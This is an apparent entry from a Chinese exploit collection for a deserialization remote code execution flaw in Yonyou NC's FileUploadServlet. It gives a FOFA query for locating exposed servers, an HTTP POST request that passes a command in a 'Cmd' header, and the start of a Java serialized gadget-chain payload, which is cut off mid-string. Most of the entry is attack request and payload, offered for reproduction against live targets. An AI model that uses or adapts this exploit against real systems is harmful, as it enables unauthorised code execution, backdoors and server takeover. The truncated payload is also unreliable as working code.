

Y4-34用友-NC-反序列化RCE

漏洞描述:

用友 NC nc.file.pub.imple.FileUploadServlet [反序列化漏洞](#)，攻击者可通过该漏洞在服务器端任意执行代码，写入后门，获取服务器权限，进而控制整个web服务器。

网站图片:



连接

UClient 提供全新客户端，消除浏览器依赖，完成用户与企业应用的链接优化，并支持企业应用在终端上的自动升级。

体验

UClient 打造一个面向企业的端服务平台，提供改善体验相关的端服务，并对提供的服务进行应用优化。



社交

UClient 通过嵌入社交协同能力, 建立企业用户之间的连接, 提供企业间数据共享和连接的服务, 形成基于工业服务云平台的企业社交网络。

版权所有© 2015 用友网络科技股份有限公司

网络测绘:

fofa语法:

FOFA: app="用友-UFIDA-NC"

漏洞复现:

payload:

```
POST /servlet/~baseapp/nc.file.pub.imple.FileUploadServlet HTTP/1.1
Host: your-ip
Cmd: whoami
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 20434
```

```
{{unquote("\xac\xed\x00\x05sr\x00\x11java.util.HashSet\xbaD\x85\x95\x96\xb8\xb74\x03\x00\x00xp\x0c\x00\x00\x00\x01?@\x00\x00\x00\x00\x00\x01sr\x004org.apache.commons.co
```

效果图:

